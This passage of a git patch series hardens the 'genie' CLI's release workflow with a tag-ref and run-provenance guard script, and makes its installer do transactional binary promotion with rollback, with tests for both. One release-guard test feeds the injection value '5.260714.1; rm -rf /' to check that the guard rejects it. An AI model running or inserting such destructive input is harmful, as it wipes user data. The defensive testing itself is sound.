steps.context.outputs.should_bump == 'true' diff --git a/scripts/release-guard.sh b/scripts/release-guard.sh new file mode 100755 index 000000000..f8afdca3e --- /dev/null +++ b/scripts/release-guard.sh @@ -0,0 +1,154 @@ +#!/usr/bin/env bash +# release-guard.sh — testable validation helpers for the protected stable +# release chain (wish stable-release-security-gate, F16/F17). +# +# CI has no workflow simulator, so the ref/tag guard and the upstream run-id +# provenance validation live here as shell helpers with colocated bun:test +# fixtures (scripts/release-guard.test.ts) rather than as inline `${{ }}` +# expressions that can never be unit-tested. +# +# HARD INVARIANT (wish): dev-channel releases must keep publishing end-to-end +# without any manual approval. The guard is a tag-ref requirement on the manual +# `workflow_dispatch` entry points ONLY. The automated dev release path tags the +# freshly-built commit `v` and dispatches release.yml on THAT tag (see +# version.yml), so the dev flow always satisfies the tag guard. Orchestrated +# workflow_call sub-runs pass no run_id and inherit the tag ref, so they are +# never blocked. A tag-ref requirement is the invariant's explicitly permitted +# guard form ("channel == 'stable' (or tag-ref) exemption"). +# +# Subcommands: +# require-dispatch-tag guard a stable-capable workflow_dispatch entry +# check-run-provenance validate a gh-api run record (pure, no network) +# guard-run-provenance fetch + validate an upstream run_id (uses gh) +# +# Exit codes: 0 ok | 3 guard failed (fail closed) | 64 misuse +set -euo pipefail + +# Version grammar shared with install.sh:parse_version_token and version.yml's +# 5.YYMMDD.N derivation. Tolerates an optional -prerelease / +build suffix. +VERSION_RE='^[0-9]+\.[0-9]+\.[0-9]+([-+][0-9A-Za-z.-]+)?$' +TAG_REF_RE='^refs/tags/v[0-9]+\.[0-9]+\.[0-9]+([-+][0-9A-Za-z.-]+)?$' + +fail() { printf 'release-guard: %s\n' "$*" >&2; exit 3; } +misuse() { printf 'release-guard: %s\n' "$*" >&2; exit 64; } +note() { printf 'release-guard: %s\n' "$*" >&2; } + +version_from_tag_ref() { printf '%s' "${1#refs/tags/v}"; } + +# Guard a stable-capable `workflow_dispatch` entry point. Fails closed unless the +# dispatch targets a protected `refs/tags/v` tag; when a version input +# is supplied it must match the release grammar AND the dispatched tag. +require_dispatch_tag() { + local event="${EVENT:-}" ref="${REF:-}" version="${VERSION:-}" channel="${CHANNEL:-}" + # Only the manual workflow_dispatch entry is operator-reachable. Tag pushes, + # pull_request builds, and inherited workflow_call runs are governed by their + # own trigger filters and orchestrator, so no tag guard is applied to them. + if [[ "$event" != "workflow_dispatch" ]]; then + note "event=${event:-} is not a manual dispatch; no tag guard applied" + return 0 + fi + [[ "$ref" =~ $TAG_REF_RE ]] || + fail "refusing stable-capable dispatch on non-tag ref '${ref:-}' (channel='${channel:-}'); dispatch recovery must target a protected v tag that passed required CI" + if [[ -n "$version" ]]; then + [[ "$version" =~ $VERSION_RE ]] || fail "version input '${version}' fails the release version grammar" + local tag_version + tag_version="$(version_from_tag_ref "$ref")" + [[ "$version" == "$tag_version" ]] || + fail "version input '${version}' does not match dispatched tag 'v${tag_version}'" + fi + note "ok — dispatch bound to protected tag ${ref}" +} + +# Validate a `gh api repos//actions/runs/` record against the expected +# upstream identity. Pure: reads a JSON file, no network — unit-tested against +# fixtures. Binds a break-glass recovery dispatch to the SAME repository, +# workflow file, successful conclusion, tag ref, and head SHA. +check_run_provenance() { + local json="${1:-}" + [[ -n "$json" ]] || misuse "check-run-provenance requires a JSON file argument" + [[ -f "$json" ]] || fail "run provenance JSON not found: ${json}" + command -v jq >/dev/null 2>&1 || misuse "jq is required for check-run-provenance" + + local expected_repo="${EXPECTED_REPO:-}" expected_workflow="${EXPECTED_WORKFLOW:-}" + local expected_ref="${EXPECTED_REF:-}" expected_sha="${EXPECTED_SHA:-}" expected_version="${EXPECTED_VERSION:-}" + [[ -n "$expected_repo" && -n "$expected_workflow" && -n "$expected_ref" ]] || + misuse "check-run-provenance needs EXPECTED_REPO, EXPECTED_WORKFLOW, EXPECTED_REF" + [[ "$expected_ref" =~ $TAG_REF_RE ]] || + fail "EXPECTED_REF '${expected_ref}' is not a protected v tag" + + local repo path conclusion status head_branch head_sha + repo="$(jq -r '.repository.full_name // empty' "$json")" + path="$(jq -r '.path // empty' "$json")" + conclusion="$(jq -r '.conclusion // empty' "$json")" + status="$(jq -r '.status // empty' "$json")" + head_branch="$(jq -r '.head_branch // empty' "$json")" + head_sha="$(jq -r '.head_sha // empty' "$json")" + + [[ "$repo" == "$expected_repo" ]] || + fail "upstream run repository '${repo:-}' != expected '${expected_repo}'" + [[ "$path" == "$expected_workflow" ]] || + fail "upstream run workflow '${path:-}' != expected '${expected_workflow}'" + [[ "$status" == "completed" ]] || + fail "upstream run status '${status:-}' != 'completed'" + [[ "$conclusion" == "success" ]] || + fail "upstream run conclusion '${conclusion:-}' != 'success'" + + local expected_tag + expected_tag="v$(version_from_tag_ref "$expected_ref")" + [[ "$head_branch" == "$expected_tag" ]] || + fail "upstream run head ref '${head_branch:-}' != dispatched tag '${expected_tag}'" + + if [[ -n "$expected_sha" ]]; then + [[ "$head_sha" == "$expected_sha" ]] || + fail "upstream run head SHA '${head_sha:-}' != dispatched SHA '${expected_sha}'" + fi + + if [[ -n "$expected_version" ]]; then + [[ "$expected_version" =~ $VERSION_RE ]] || + fail "expected version '${expected_version}' fails the release version grammar" + local tag_version + tag_version="$(version_from_tag_ref "$expected_ref")" + [[ "$expected_version" == "$tag_version" ]] || + fail "expected version '${expected_version}' does not match tag 'v${tag_version}'" + fi + + note "ok — upstream ${expected_workflow} run at ${head_sha} verified (${conclusion}, ${expected_tag})" +} + +# Fetch the upstream run record for a break-glass run_id and validate it. A +# missing run_id is the orchestrated same-run path (workflow_call) and is a +# no-op — the artifacts came from THIS run's shared store, not an external run. +guard_run_provenance() { + local run_id="${RUN_ID:-}" + if [[ -z "$run_id" ]]; then + note "no upstream run_id supplied (orchestrated same-run path); skipping provenance check" + return 0 + fi + command -v gh >/dev/null 2>&1 || misuse "gh CLI is required for guard-run-provenance" + local expected_repo="${EXPECTED_REPO:-}" + [[ -n "$expected_repo" ]] || misuse "guard-run-provenance needs EXPECTED_REPO" + [[ "$run_id" =~ ^[0-9]+$ ]] || fail "run_id '${run_id}' is not a numeric run id" + local tmp + tmp="$(mktemp)" + if ! gh api "repos/${expected_repo}/actions/runs/${run_id}" >"$tmp" 2>/dev/null; then + rm -f "$tmp" + fail "could not fetch upstream run ${run_id} from ${expected_repo} (bad run_id or insufficient token scope)" + fi + check_run_provenance "$tmp" + rm -f "$tmp" +} + +main() { + local cmd="${1:-}" + shift || true + case "$cmd" in + require-dispatch-tag) require_dispatch_tag ;; + check-run-provenance) check_run_provenance "$@" ;; + guard-run-provenance) guard_run_provenance ;; + *) misuse "unknown subcommand '${cmd:-}' (want: require-dispatch-tag | check-run-provenance | guard-run-provenance)" ;; + esac +} + +if [[ "${RELEASE_GUARD_SOURCE_ONLY:-0}" != "1" ]]; then + main "$@" +fi diff --git a/scripts/release-guard.test.ts b/scripts/release-guard.test.ts new file mode 100644 index 000000000..a96e054af --- /dev/null +++ b/scripts/release-guard.test.ts @@ -0,0 +1,218 @@ +import { afterEach, describe, expect, test } from 'bun:test'; +import { chmodSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; + +// Colocated fixtures for scripts/release-guard.sh (wish +// stable-release-security-gate, F17). CI has no workflow simulator, so the +// ref/tag guard and the run-id provenance validation are exercised here as a +// shell test spawned inside the normal `bun test` gate. + +const SCRIPT = join(import.meta.dir, 'release-guard.sh'); +const REPO_ROOT = join(import.meta.dir, '..'); +const roots: string[] = []; + +afterEach(() => { + for (const root of roots.splice(0)) rmSync(root, { recursive: true, force: true }); +}); + +function mkroot(prefix: string): string { + const root = mkdtempSync(join(tmpdir(), prefix)); + roots.push(root); + return root; +} + +function guard(subcommand: string, env: Record, args: string[] = []) { + return Bun.spawnSync(['bash', SCRIPT, subcommand, ...args], { + cwd: REPO_ROOT, + env: { PATH: process.env.PATH ?? '', ...env }, + stdout: 'pipe', + stderr: 'pipe', + }); +} + +const VALID_RUN = { + repository: { full_name: 'automagik-dev/genie' }, + path: '.github/workflows/build-tarballs.yml', + conclusion: 'success', + status: 'completed', + head_branch: 'v5.260714.1', + head_sha: 'a'.repeat(40), +}; + +function runJson(root: string, overrides: Record = {}): string { + const path = join(root, 'run.json'); + writeFileSync(path, JSON.stringify({ ...VALID_RUN, ...overrides })); + return path; +} + +const PROVENANCE_ENV = { + EXPECTED_REPO: 'automagik-dev/genie', + EXPECTED_WORKFLOW: '.github/workflows/build-tarballs.yml', + EXPECTED_REF: 'refs/tags/v5.260714.1', + EXPECTED_SHA: 'a'.repeat(40), + EXPECTED_VERSION: '5.260714.1', +}; + +describe('require-dispatch-tag (F16 ref guard)', () => { + test('non-dispatch events are a no-op (tag push / pull_request / workflow_call)', () => { + for (const event of ['push', 'pull_request', 'workflow_call', '']) { + const result = guard('require-dispatch-tag', { EVENT: event, REF: 'refs/heads/dev' }); + expect(result.exitCode).toBe(0); + } + }); + + test('dev-channel dispatch on the freshly-pushed v tag is allowed (HARD INVARIANT)', () => { + const result = guard('require-dispatch-tag', { + EVENT: 'workflow_dispatch', + REF: 'refs/tags/v5.260714.1', + CHANNEL: 'dev', + VERSION: '5.260714.1', + }); + expect(result.exitCode).toBe(0); + }); + + test('stable dispatch on a valid tag is allowed', () => { + const result = guard('require-dispatch-tag', { + EVENT: 'workflow_dispatch', + REF: 'refs/tags/v5.260714.1', + CHANNEL: 'stable', + }); + expect(result.exitCode).toBe(0); + }); + + test('a non-tag ref fails closed at a stable-capable dispatch', () => { + for (const ref of ['refs/heads/dev', 'refs/heads/main', 'refs/heads/attacker', 'refs/pull/1/merge']) { + const result = guard('require-dispatch-tag', { EVENT: 'workflow_dispatch', REF: ref, CHANNEL: 'stable' }); + expect(result.exitCode).toBe(3); + expect(result.stderr.toString()).toContain('non-tag ref'); + } + }); + + test('a malformed tag ref fails closed', () => { + const result = guard('require-dispatch-tag', { + EVENT: 'workflow_dispatch', + REF: 'refs/tags/not-a-version', + }); + expect(result.exitCode).toBe(3); + }); + + test('a version input that does not match the dispatched tag fails closed', () => { + const result = guard('require-dispatch-tag', { + EVENT: 'workflow_dispatch', + REF: 'refs/tags/v5.260714.1', + VERSION: '5.260714.2', + }); + expect(result.exitCode).toBe(3); + expect(result.stderr.toString()).toContain('does not match dispatched tag'); + }); + + test('a version input failing the grammar fails closed', () => { + const result = guard('require-dispatch-tag', { + EVENT: 'workflow_dispatch', + REF: 'refs/tags/v5.260714.1', + VERSION: '5.260714.1; rm -rf /', + }); + expect(result.exitCode).toBe(3); + }); +}); + +describe('check-run-provenance (F17 upstream identity)', () => { + test('a matching upstream run record passes', () => { + const root = mkroot('genie-run-ok-'); + const result = guard('check-run-provenance', PROVENANCE_ENV, [runJson(root)]); + expect(result.exitCode).toBe(0); + }); + + test('a run from another repository fails closed', () => { + const root = mkroot('genie-run-repo-'); + const result = guard('check-run-provenance', PROVENANCE_ENV, [ + runJson(root, { repository: { full_name: 'attacker/genie' } }), + ]); + expect(result.exitCode).toBe(3); + expect(result.stderr.toString()).toContain('repository'); + }); + + test('a run from a different workflow file fails closed', () => { + const root = mkroot('genie-run-wf-'); + const result = guard('check-run-provenance', PROVENANCE_ENV, [runJson(root, { path: '.github/workflows/ci.yml' })]); + expect(result.exitCode).toBe(3); + expect(result.stderr.toString()).toContain('workflow'); + }); + + test('a failed or incomplete upstream run cannot be signed/published', () => { + const root = mkroot('genie-run-fail-'); + const failed = guard('check-run-provenance', PROVENANCE_ENV, [runJson(root, { conclusion: 'failure' })]); + expect(failed.exitCode).toBe(3); + const incomplete = guard('check-run-provenance', PROVENANCE_ENV, [ + runJson(root, { status: 'in_progress', conclusion: null }), + ]); + expect(incomplete.exitCode).toBe(3); + }); + + test('a run whose head ref differs from the dispatched tag fails closed', () => { + const root = mkroot('genie-run-ref-'); + const result = guard('check-run-provenance', PROVENANCE_ENV, [runJson(root, { head_branch: 'dev' })]); + expect(result.exitCode).toBe(3); + expect(result.stderr.toString()).toContain('head ref'); + }); + + test('a run whose head SHA differs from the dispatched SHA fails closed', () => { + const root = mkroot('genie-run-sha-'); + const result = guard('check-run-provenance', PROVENANCE_ENV, [runJson(root, { head_sha: 'b'.repeat(40) })]); + expect(result.exitCode).toBe(3); + expect(result.stderr.toString()).toContain('head SHA'); + }); + + test('a missing provenance file fails closed', () => { + const result = guard('check-run-provenance', PROVENANCE_ENV, [join(mkroot('genie-run-miss-'), 'absent.json')]); + expect(result.exitCode).toBe(3); + }); + + test('a non-tag EXPECTED_REF is rejected as misconfiguration', () => { + const root = mkroot('genie-run-badref-'); + const result = guard('check-run-provenance', { ...PROVENANCE_ENV, EXPECTED_REF: 'refs/heads/dev' }, [ + runJson(root), + ]); + expect(result.exitCode).toBe(3); + }); +}); + +describe('guard-run-provenance (orchestrated vs break-glass)', () => { + test('an empty run_id is the orchestrated same-run path and is a no-op', () => { + const result = guard('guard-run-provenance', { + RUN_ID: '', + EXPECTED_REPO: 'automagik-dev/genie', + EXPECTED_WORKFLOW: '.github/workflows/build-tarballs.yml', + EXPECTED_REF: 'refs/tags/v5.260714.1', + }); + expect(result.exitCode).toBe(0); + }); + + test('a non-numeric run_id fails closed before any network call', () => { + const result = guard('guard-run-provenance', { + RUN_ID: 'not-a-run', + EXPECTED_REPO: 'automagik-dev/genie', + }); + expect(result.exitCode).toBe(3); + }); + + test('a numeric run_id fetches via gh and validates the returned record', () => { + // Fake gh in PATH returns the fixture record for `gh api repos/.../runs/`. + const root = mkroot('genie-run-gh-'); + const ghPath = join(root, 'gh'); + writeFileSync( + ghPath, + `#!/usr/bin/env bun\nimport { writeSync } from 'node:fs';\nconst rec = ${JSON.stringify( + VALID_RUN, + )};\nwriteSync(1, JSON.stringify(rec));\nprocess.exit(0);\n`, + ); + chmodSync(ghPath, 0o755); + const result = guard('guard-run-provenance', { + ...PROVENANCE_ENV, + RUN_ID: '123456', + PATH: `${root}:${process.env.PATH ?? ''}`, + }); + expect(result.exitCode).toBe(0); + }); +}); From 7bd90757b9901728f264713d6734d9273c61ee2e Mon Sep 17 00:00:00 2001 From: Felipe Date: Tue, 14 Jul 2026 13:27:52 -0300 Subject: [PATCH 05/20] feat(install): transactional binary promotion/rollback with .steal regression guard MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Close F31a in repo code. install.sh's extract_and_link no longer untars directly over the live tree. It extracts to a same-filesystem staging dir, verifies the staged binary runs and reports the expected version (rejecting a corrupt or wrong-version artifact), moves sidecars into place, backs the live binary up to bin/.previous, then commits with a single rename-over-live of the `genie` binary — the old executable is runnable up to that instant, the new one immediately after, and a crash mid-rename can never yield a partial file. A failed post-swap verification rolls back to the backup. The durable .steal lifecycle-lock recovery protocol (F42/F45–F47/F50) is left byte-for-byte unchanged; scripts/install-swap.test.ts pins the SHA-256 of the seven protected functions as a regression guard and exercises the swap against destructive-failure fixtures: happy path, first install, corrupt artifact (no binary), corrupt tarball, version mismatch, kill mid-swap (old binary stays runnable), and failed provenance (download_and_verify refuses). update.ts's atomic swap is already transactional; a corrupt-tarball fixture is added to extractTarball to complete its destructive-failure coverage. Co-Authored-By: Claude Fable 5 --- install.sh | 124 +++++++++- scripts/install-swap.test.ts | 256 ++++++++++++++++++++ src/genie-commands/__tests__/update.test.ts | 20 ++ 3 files changed, 392 insertions(+), 8 deletions(-) create mode 100644 scripts/install-swap.test.ts diff --git a/install.sh b/install.sh index 354dc97b6..7d28f6511 100755 --- a/install.sh +++ b/install.sh @@ -37,9 +37,13 @@ LIFECYCLE_LOCK="" LIFECYCLE_OWNER_FILE="" LIFECYCLE_OWNER_RECORD="" LIFECYCLE_LOCK_STALE_SECONDS=600 +# Set while a transactional extract is in flight so the EXIT trap disposes of a +# half-populated staging tree without ever touching the live install (F31a). +STAGING_DIR="" cleanup() { release_lifecycle_lock + [[ -n "$STAGING_DIR" ]] && rm -rf "$STAGING_DIR" rm -rf "$TMP_DIR" } trap cleanup EXIT @@ -448,14 +452,118 @@ download_and_verify() { printf '%s\n' "$tarball" } +# Verify a freshly-extracted staging tree before it is allowed to replace the +# live install. Rejects a corrupt artifact (no binary / non-executable) and a +# version mismatch (wrong tarball) so a broken payload never reaches promotion. +verify_staged_binary() { + local staging="$1" expected_version="$2" staged_bin actual_version expected_token actual_token + staged_bin="${staging}/genie" + [[ -f "$staged_bin" && ! -L "$staged_bin" ]] || + die "staged tarball has no genie binary; refusing to promote a corrupt artifact" 4 + chmod +x "$staged_bin" + actual_version="$("$staged_bin" --version 2>/dev/null)" || + die "staged genie binary failed to execute; refusing to promote a corrupt artifact" 4 + expected_token="$(parse_version_token "$expected_version")" || + die "installation manifest supplied an invalid version token: ${expected_version:-empty}" 1 + actual_token="$(parse_version_token "$actual_version")" || + die "staged genie emitted no valid version token (got ${actual_version:-empty}); refusing to promote" 4 + [[ "$actual_token" == "$expected_token" ]] || + die "staged genie version mismatch (expected ${expected_token}, got ${actual_token}); refusing to promote" 4 +} + +# Post-swap correctness guard: run the live binary and confirm it reports the +# version we intended to install. Returns non-zero (never dies) so the caller +# can roll back before failing. +verify_promoted_binary() { + local expected_version="$1" actual expected_token actual_token + actual="$("${GENIE_HOME}/bin/genie" --version 2>/dev/null)" || return 1 + expected_token="$(parse_version_token "$expected_version")" || return 1 + actual_token="$(parse_version_token "$actual")" || return 1 + [[ "$actual_token" == "$expected_token" ]] +} + +# Restore the newest backup from bin/.previous over the live binary. Used only +# when a promoted binary fails its post-swap verification. +rollback_binary() { + local previous_dir="${GENIE_HOME}/bin/.previous" newest + [[ -d "$previous_dir" ]] || return 1 + newest="$(ls -1t "$previous_dir"/genie-* 2>/dev/null | head -n1)" + [[ -n "$newest" && -f "$newest" ]] || return 1 + cp -p "$newest" "${GENIE_HOME}/bin/genie.rollback.$$" && + mv -f "${GENIE_HOME}/bin/genie.rollback.$$" "${GENIE_HOME}/bin/genie" && + chmod +x "${GENIE_HOME}/bin/genie" +} + +# Promote a verified staging tree over the live install. The single +# rename-over-live of the `genie` binary is the atomic commit: the old +# executable is runnable up to that instant, the new one immediately after, and +# a crash mid-rename can never yield a partial file. Sidecars (VERSION, plugins, +# skills, templates, marketplaces) are moved into place first so the freshly +# promoted binary reads its own VERSION during verification; the old binary is +# backed up to bin/.previous so a failed post-swap verification rolls back. +promote_staged_install() { + local staging="$1" expected_version="$2" + local bin="$GENIE_HOME/bin" previous_dir="${GENIE_HOME}/bin/.previous" + local staged_bin="${staging}/genie" old_version backup entry base + mkdir -p "$previous_dir" + + # Capture the currently-installed version BEFORE any sidecar (incl. VERSION) + # moves, so the backup filename reflects the binary actually being replaced. + if [[ -f "${bin}/genie" && ! -L "${bin}/genie" ]]; then + old_version="$(parse_version_token "$("${bin}/genie" --version 2>/dev/null || true)" 2>/dev/null || true)" + [[ -n "$old_version" ]] || old_version="previous" + backup="${previous_dir}/genie-${old_version}" + cp -p "${bin}/genie" "${backup}.staging.$$" && + mv -f "${backup}.staging.$$" "$backup" || + die "could not back up the current binary before promotion; leaving install untouched" 1 + fi + + # Move every sidecar (all tarball entries except the binary itself) into the + # live install. `find` covers dotfiles (.agents, .claude-plugin). + while IFS= read -r entry; do + base="$(basename "$entry")" + [[ "$base" == "genie" ]] && continue + rm -rf "${bin:?}/${base}" + mv "$entry" "${bin}/${base}" + done < <(find "$staging" -mindepth 1 -maxdepth 1) + + # Destructive-failure injection seam (tests only, F31a). Simulates a kill + # between backup and the atomic rename; the live binary must stay runnable. + if [[ "${GENIE_INSTALL_SWAP_FAULT:-}" == "before-promote" ]]; then + die "swap fault injected before promotion (test seam)" 1 + fi + + chmod +x "$staged_bin" + mv -f "$staged_bin" "${bin}/genie" || + die "atomic binary promotion failed; previous install left intact" 1 + chmod +x "${bin}/genie" + + if ! verify_promoted_binary "$expected_version"; then + if rollback_binary; then + die "post-swap verification failed; rolled back to the previous binary" 4 + fi + die "post-swap verification failed and no rollback candidate was available" 4 + fi +} + +# Transactional install (F31a). Extract to a same-filesystem staging tree, +# verify it, atomically promote it (with rollback), then point $PATH at it. A +# corrupt tarball or an interrupted swap never leaves a half-written binary at +# $GENIE_HOME/bin/genie. extract_and_link() { - local tarball="$1" - mkdir -p "$GENIE_HOME/bin" "$LOCAL_BIN" - log "extracting to $GENIE_HOME/bin" - tar -xzf "$tarball" -C "$GENIE_HOME/bin" - chmod +x "$GENIE_HOME/bin/genie" - ln -sfn "$GENIE_HOME/bin/genie" "$LOCAL_BIN/genie" - log "symlink: $LOCAL_BIN/genie → $GENIE_HOME/bin/genie" + local tarball="$1" expected_version="$2" bin="$GENIE_HOME/bin" + mkdir -p "$bin" "$LOCAL_BIN" + STAGING_DIR="$(mktemp -d "${bin}/.install-staging-XXXXXX")" || + die "could not create staging directory under ${bin}" 1 + log "extracting to staging ${STAGING_DIR##*/}" + tar -xzf "$tarball" -C "$STAGING_DIR" || + die "extraction failed (corrupt tarball?): ${tarball}" 5 + verify_staged_binary "$STAGING_DIR" "$expected_version" + promote_staged_install "$STAGING_DIR" "$expected_version" + ln -sfn "$bin/genie" "$LOCAL_BIN/genie" + log "symlink: $LOCAL_BIN/genie → $bin/genie" + rm -rf "$STAGING_DIR" + STAGING_DIR="" } # Detect pre-cutover (bun-global / npm-global) installs and surface the @@ -615,7 +723,7 @@ main() { # extraction, PATH, child-finisher, and final-verification mutation. acquire_lifecycle_lock tarball="$(download_and_verify "$version" "$platform" "$tarball_base")" - extract_and_link "$tarball" + extract_and_link "$tarball" "$version" detect_legacy_install ensure_path_wired handoff_to_subcommand "$@" diff --git a/scripts/install-swap.test.ts b/scripts/install-swap.test.ts new file mode 100644 index 000000000..ce28a5c97 --- /dev/null +++ b/scripts/install-swap.test.ts @@ -0,0 +1,256 @@ +import { afterEach, describe, expect, test } from 'bun:test'; +import { createHash } from 'node:crypto'; +import { chmodSync, mkdirSync, mkdtempSync, readFileSync, readdirSync, rmSync, writeFileSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; + +// Fixtures for install.sh's transactional binary promotion/rollback (wish +// stable-release-security-gate, F31a) PLUS a regression check that the durable +// `.steal` lifecycle-lock recovery protocol is left byte-for-byte unchanged +// (F42/F45–F47/F50 hardening constraint). Real tar/bash on a tmp dir — the swap +// needs same-filesystem rename primitives, so nothing is mocked. + +const INSTALL_SH = join(import.meta.dir, '..', 'install.sh'); +const roots: string[] = []; + +afterEach(() => { + for (const root of roots.splice(0)) rmSync(root, { recursive: true, force: true }); +}); + +function mkroot(): string { + const root = mkdtempSync(join(tmpdir(), 'genie-install-swap-')); + roots.push(root); + return root; +} + +/** A fake `genie` that ignores args and prints a version — stands in for the + * real bun-compiled binary so the swap mechanics can be exercised hermetically. */ +function fakeBinary(version: string): string { + return `#!/bin/sh\necho "${version}"\n`; +} + +/** Build a release-shaped tarball: `genie` at the root plus VERSION + a sidecar + * tree, matching scripts/build-binary.sh's layout. */ +function buildTarball(root: string, opts: { version: string; withBinary?: boolean; sidecar?: string }): string { + const tree = mkdtempSync(join(root, 'tree-')); + if (opts.withBinary !== false) { + const bin = join(tree, 'genie'); + writeFileSync(bin, fakeBinary(opts.version)); + chmodSync(bin, 0o755); + } + writeFileSync(join(tree, 'VERSION'), `${opts.version}\n`); + mkdirSync(join(tree, 'plugins'), { recursive: true }); + writeFileSync(join(tree, 'plugins', opts.sidecar ?? 'marker.txt'), 'sidecar'); + const tarball = join(root, `genie-${opts.version}.tar.gz`); + const packed = Bun.spawnSync(['tar', '-czf', tarball, '-C', tree, '.'], { stdout: 'pipe', stderr: 'pipe' }); + if (packed.exitCode !== 0) throw new Error(`tar failed: ${packed.stderr.toString()}`); + return tarball; +} + +interface Layout { + home: string; + bin: string; + liveBinary: string; + homeRoot: string; +} + +function scaffold(root: string, opts: { liveVersion?: string } = {}): Layout { + const homeRoot = join(root, 'home'); + const genieHome = join(homeRoot, '.genie'); + const bin = join(genieHome, 'bin'); + mkdirSync(bin, { recursive: true }); + mkdirSync(join(homeRoot, '.local', 'bin'), { recursive: true }); + const liveBinary = join(bin, 'genie'); + if (opts.liveVersion) { + writeFileSync(liveBinary, fakeBinary(opts.liveVersion)); + chmodSync(liveBinary, 0o755); + writeFileSync(join(bin, 'VERSION'), `${opts.liveVersion}\n`); + mkdirSync(join(bin, 'plugins'), { recursive: true }); + writeFileSync(join(bin, 'plugins', 'old.txt'), 'old-sidecar'); + } + return { home: genieHome, bin, liveBinary, homeRoot }; +} + +/** Source install.sh (main suppressed) and run extract_and_link. `die` + * propagates as the process exit code, so exit codes are directly assertable. */ +function runExtract(layout: Layout, tarball: string, version: string, extraEnv: Record = {}) { + return Bun.spawnSync( + ['bash', '-c', 'source "$1"; extract_and_link "$2" "$3"', 'bash', INSTALL_SH, tarball, version], + { + env: { + PATH: process.env.PATH ?? '', + GENIE_INSTALL_SOURCE_ONLY: '1', + GENIE_HOME: layout.home, + HOME: layout.homeRoot, + ...extraEnv, + }, + stdout: 'pipe', + stderr: 'pipe', + }, + ); +} + +// --------------------------------------------------------------------------- +// Steal-guard regression: the `.steal` lifecycle-lock protocol must not drift. +// --------------------------------------------------------------------------- + +describe('install.sh .steal lifecycle-lock protocol (F42/F45–F47/F50 — must not drift)', () => { + // The ordered set of functions that make up the durable `.steal` recovery + // protocol + its shell/TS parity. Their concatenated source is pinned so any + // edit to this contract fails loudly. To intentionally rotate the pin, change + // these functions in lockstep with src/lib/agent-sync.ts's stealStaleLock and + // update the digest below in the SAME review. + const PROTECTED_FUNCTIONS = [ + 'logical_absolute_path', + 'lock_mtime_seconds', + 'lock_record_is_stale', + 'foreign_lock_record_is_stale', + 'recover_stale_lifecycle_lock', + 'acquire_lifecycle_lock', + 'release_lifecycle_lock', + ]; + const PINNED_DIGEST = 'c6d5c4bd29f8c42a51300633f371fbe99fb293813c274d17286762d5f277194e'; + + function extractFunction(source: string, name: string): string { + const lines = source.split('\n'); + const start = lines.indexOf(`${name}() {`); + if (start === -1) throw new Error(`protected function not found: ${name}`); + for (let i = start; i < lines.length; i += 1) { + if (lines[i] === '}') return `${lines.slice(start, i + 1).join('\n')}\n`; + } + throw new Error(`unterminated protected function: ${name}`); + } + + test('protected function bodies match the pinned digest', () => { + const source = readFileSync(INSTALL_SH, 'utf-8'); + const concatenated = PROTECTED_FUNCTIONS.map((fn) => extractFunction(source, fn)).join(''); + const digest = createHash('sha256').update(concatenated).digest('hex'); + expect(digest).toBe(PINNED_DIGEST); + }); +}); + +// --------------------------------------------------------------------------- +// Transactional promotion / rollback. +// --------------------------------------------------------------------------- + +describe('install.sh transactional binary promotion (F31a)', () => { + test('happy path: stages, backs up the old binary, promotes the new one, wires PATH', () => { + const root = mkroot(); + const layout = scaffold(root, { liveVersion: '5.260713.1' }); + const tarball = buildTarball(root, { version: '5.260714.1', sidecar: 'new.txt' }); + + const run = runExtract(layout, tarball, '5.260714.1'); + expect(run.exitCode).toBe(0); + expect(readFileSync(layout.liveBinary, 'utf-8')).toBe(fakeBinary('5.260714.1')); + // Old binary preserved for rollback. + expect(readdirSync(join(layout.bin, '.previous'))).toContain('genie-5.260713.1'); + expect(readFileSync(join(layout.bin, '.previous', 'genie-5.260713.1'), 'utf-8')).toBe(fakeBinary('5.260713.1')); + // Sidecars swapped: new present, old gone. + expect(readdirSync(join(layout.bin, 'plugins'))).toEqual(['new.txt']); + // Symlink wired to the canonical binary. + expect(readFileSync(join(layout.homeRoot, '.local', 'bin', 'genie'), 'utf-8')).toBe(fakeBinary('5.260714.1')); + // Staging cleaned up. + expect(readdirSync(layout.bin).filter((e) => e.startsWith('.install-staging'))).toEqual([]); + }); + + test('first install (no live binary) promotes without a backup', () => { + const root = mkroot(); + const layout = scaffold(root); + const tarball = buildTarball(root, { version: '5.260714.1' }); + const run = runExtract(layout, tarball, '5.260714.1'); + expect(run.exitCode).toBe(0); + expect(readFileSync(layout.liveBinary, 'utf-8')).toBe(fakeBinary('5.260714.1')); + expect(readdirSync(join(layout.bin, '.previous')).filter((e) => e.startsWith('genie-'))).toEqual([]); + }); + + test('corrupt artifact (tarball has no genie binary) fails closed; live binary intact', () => { + const root = mkroot(); + const layout = scaffold(root, { liveVersion: '5.260713.1' }); + const tarball = buildTarball(root, { version: '5.260714.1', withBinary: false }); + const run = runExtract(layout, tarball, '5.260714.1'); + expect(run.exitCode).toBe(4); + expect(run.stderr.toString()).toContain('corrupt artifact'); + expect(readFileSync(layout.liveBinary, 'utf-8')).toBe(fakeBinary('5.260713.1')); + }); + + test('corrupt tarball (not a gzip archive) fails closed; live binary intact', () => { + const root = mkroot(); + const layout = scaffold(root, { liveVersion: '5.260713.1' }); + const tarball = join(root, 'garbage.tar.gz'); + writeFileSync(tarball, 'this is not a gzip archive'); + const run = runExtract(layout, tarball, '5.260714.1'); + expect(run.exitCode).toBe(5); + expect(readFileSync(layout.liveBinary, 'utf-8')).toBe(fakeBinary('5.260713.1')); + }); + + test('version mismatch (wrong tarball) fails closed; live binary intact', () => { + const root = mkroot(); + const layout = scaffold(root, { liveVersion: '5.260713.1' }); + const tarball = buildTarball(root, { version: '9.999999.9' }); + const run = runExtract(layout, tarball, '5.260714.1'); + expect(run.exitCode).toBe(4); + expect(run.stderr.toString()).toContain('version mismatch'); + expect(readFileSync(layout.liveBinary, 'utf-8')).toBe(fakeBinary('5.260713.1')); + }); + + test('kill mid-swap (fault injected before the atomic rename) leaves the old binary runnable', () => { + const root = mkroot(); + const layout = scaffold(root, { liveVersion: '5.260713.1' }); + const tarball = buildTarball(root, { version: '5.260714.1' }); + const run = runExtract(layout, tarball, '5.260714.1', { GENIE_INSTALL_SWAP_FAULT: 'before-promote' }); + expect(run.exitCode).toBe(1); + // The old binary is still the live one, 